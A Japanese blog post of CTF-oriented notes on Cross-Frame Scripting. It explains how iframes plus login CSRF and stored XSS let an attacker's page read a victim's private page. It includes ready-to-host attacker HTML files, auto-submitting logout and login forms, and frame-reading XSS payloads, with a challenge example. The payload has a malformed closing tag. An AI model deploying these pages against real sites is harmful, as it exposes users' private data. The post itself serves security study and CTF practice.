はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるCross-Frame Scripting問題への傾向と対策 [XFS]

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

XFS (Cross-Frame Scripting) とは

XSSとFrameを組み合わせた手法。
用途としては、ただのXSSだとXSSが埋め込まれたページで得られる情報のみしか取得できないが、
Frameをうまく使うことで、別のページで得られた(かつ、別の権限で表示できる)情報を取得できる。

攻撃シナリオ

脆弱サイト「ユーザーごとに作成者しか表示できないページを作成できるが、そのページにはXSS脆弱性がある」
一見、自分が書いた情報しかXSSで抜き出せないように見えるが、Frameを使うと面白い攻撃ができる。
流れは以下のような感じ。

  1. 2つの空のフレームが用意されたサイトを攻撃者サーバに用意する

フレームA: 空
フレームB: 空

そのサイトはアクセスすると、jsで自動に以下の処理を行うようになっている。

  1. フレームAに攻撃者が抜き取りたいページを表示する(相手の認証情報でアクセス)

フレームA: 抜き取りたい情報を含むページ
フレームB: 空

  1. フレームBでログアウト画面を表示させる

フレームA: 抜き取りたい情報を含むページ
フレームB: ログアウト画面

  1. フレームBで攻撃者の認証情報でログインする

フレームA: 抜き取りたい情報を含むページ
フレームB: 攻撃者の認証情報でログイン

  1. 攻撃者の認証情報で表示できるXSSが発動するページを開く

フレームA: 抜き取りたい情報を含むページ
フレームB: XSS発動ページ

※ 手順5でのXSS発動ページはフレームAの情報を実は参照可能なので、情報を取ってきて、XSSで外部に送信すると抜き取れる
XSS発動サイトが相手の認証情報でも見れるなら、ログインログアウトはせず、発動ページを開くだけでもいいかもしれない
  (その場合は別にXSSコードだけで何とかなりそうな雰囲気もある)

実コード

evilサーバに以下のようなhtmlファイルを置いて、攻撃者に踏ませる

test.html

<div id=iframe1></div>
<div id=iframe2></div>
<div id=iframe3></div>
<div id=iframe4></div>
<script>
function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}
async function main(){
    ifr = document.createElement('iframe');
    ifr.src = "http://[HOST]/note/1"; // 情報を抜き取りたいサイト
    ifr.name='admin';
    iframe1.appendChild(ifr);
    await sleep(1000);
    ifr2 = document.createElement('iframe');
    ifr2.name='attack';
    ifr2.src = "/test2.html"; // ログアウトする
    iframe2.appendChild(ifr2);
    await sleep(1000);
    ifr3 = document.createElement('iframe');
    ifr3.name='attack';
    ifr3.src = "/test3.html"; // ログインする
    iframe3.appendChild(ifr3);
    await sleep(1000);
    ifr4 = document.createElement('iframe');
    ifr4.name='attack';
    ifr4.src = "http://[HOST]/note/5"; // XSS発動サイト
    // <script>console.log(window.top.frames[0].document.getElementsByTagName('p')[0].innerText)<script>
    iframe4.appendChild(ifr4);
}
main();
</script>

test2.html

<form method="post" action="http://[HOST]/logout" id="s"> <!-- ログアウト -->
    <input type="submit">
</form>
<script>
    document.getElementById("s").submit()
</script>

test3.html

<form method="post" action="http://[HOST]/" id="s">   <!-- ログイン -->
    <input name="username" value="[YOUR CREDENTIAL]">
    <input name="password" value="[YOUR CREDENTIAL]">

    <input type="submit">
</form>
<script>
    document.getElementById("s").submit();
</script>

XSSコード(表示だけだけど)

<script>console.log(window.top.frames[0].document.getElementsByTagName('p')[0].innerText)<script>

例2: XSS Challenge 2020-06

XSS Challenge 2020-06
たぶんこれも同じ原理。
同じオリジンに属する2フレームは親サイトが別オリジンであっても、相互参照可能な所が脆弱(ほんとか?)。

<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe id="y" name="alert(document.domain)"></iframe>

こんな風にフレーム定義して、id=yで以下のようにXSS実行すれば、name=xに書き込める。
top.x.document.write('XX')

更に言うと、同じオリジンに属するサイトを表示しているフレームの属性も引っ張ってこれる(!?)
top[1].nameという風に書くと、2番目のframeのname属性を取得可能。

CTF Writeups

工事中

Practicalな話

実装時に気を付けること

XSS脆弱性をつぶそう。

(CTFじゃ使えないけど)テストツール

工事中